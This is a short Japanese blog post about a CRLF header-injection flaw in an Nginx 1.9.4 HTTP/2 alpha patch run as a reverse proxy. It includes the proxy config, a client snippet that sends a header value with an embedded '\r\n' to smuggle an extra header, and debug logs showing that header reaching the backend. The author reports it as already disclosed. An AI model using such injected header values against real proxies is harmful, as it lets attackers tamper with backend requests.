Nginx http/2 アルファパッチを本番で試しちゃダメだよ
ちなみに報告済み。既知らしく、アルファパッチは本番で使っちゃダメとのこと。
2015年8月現在。
nginx1.9.4 + patch.http2-v3_1.9.4.txt
0. せってい
reverse proxyとして動かす。
server {
listen 8080 http2 ;
server_name localhost;
location / {
proxy_pass http://localhost:80;
proxy_set_header hoge $http_hoge;
root /usr/share/www;
}
}
1. おくる
クライアントからHEADERSフレームをおくる
stream = conn.new_stream
head = {
':scheme' => "http",
':method' => "GET"
':authority' => "localhost",
':path' => "/",
'hoge' => "hoge\r\nevil:ouch"
}
stream.headers(head, end_stream: true)
2. Nginx でばっぐろぐ
クライアント側から受信時
2015/08/20 02:48:35 [debug] 32223#0: *10 http2 huffman decoding error at state 40: incomplete code "7" 2015/08/20 02:48:35 [debug] 32223#0: *10 http2 http header: "hoge: hoge^M evil:ouch" 2015/08/20 02:48:35 [debug] 32223#0: *10 http2 http request line: "GET / HTTP/1.1" 2015/08/20 02:48:35 [debug] 32223#0: *10 rewrite phase: 0
バックエンド送信時
2015/08/20 02:48:35 [debug] 32223#0: *10 http proxy header: "GET / HTTP/1.0^M hoge: hoge^M evil:ouch^M Host: localhost^M Connection: close^M ^M " 2015/08/20 02:48:35 [debug] 32223#0: *10 http cleanup add: 0000000001CC9238
3. ばっくえんどさーば
- ReqStart 127.0.0.1 39436 - ReqMethod GET - ReqURL / - ReqProtocol HTTP/1.0 - ReqHeader hoge: hoge - ReqHeader evil:ouch - ReqHeader Host: localhost - ReqHeader Connection: close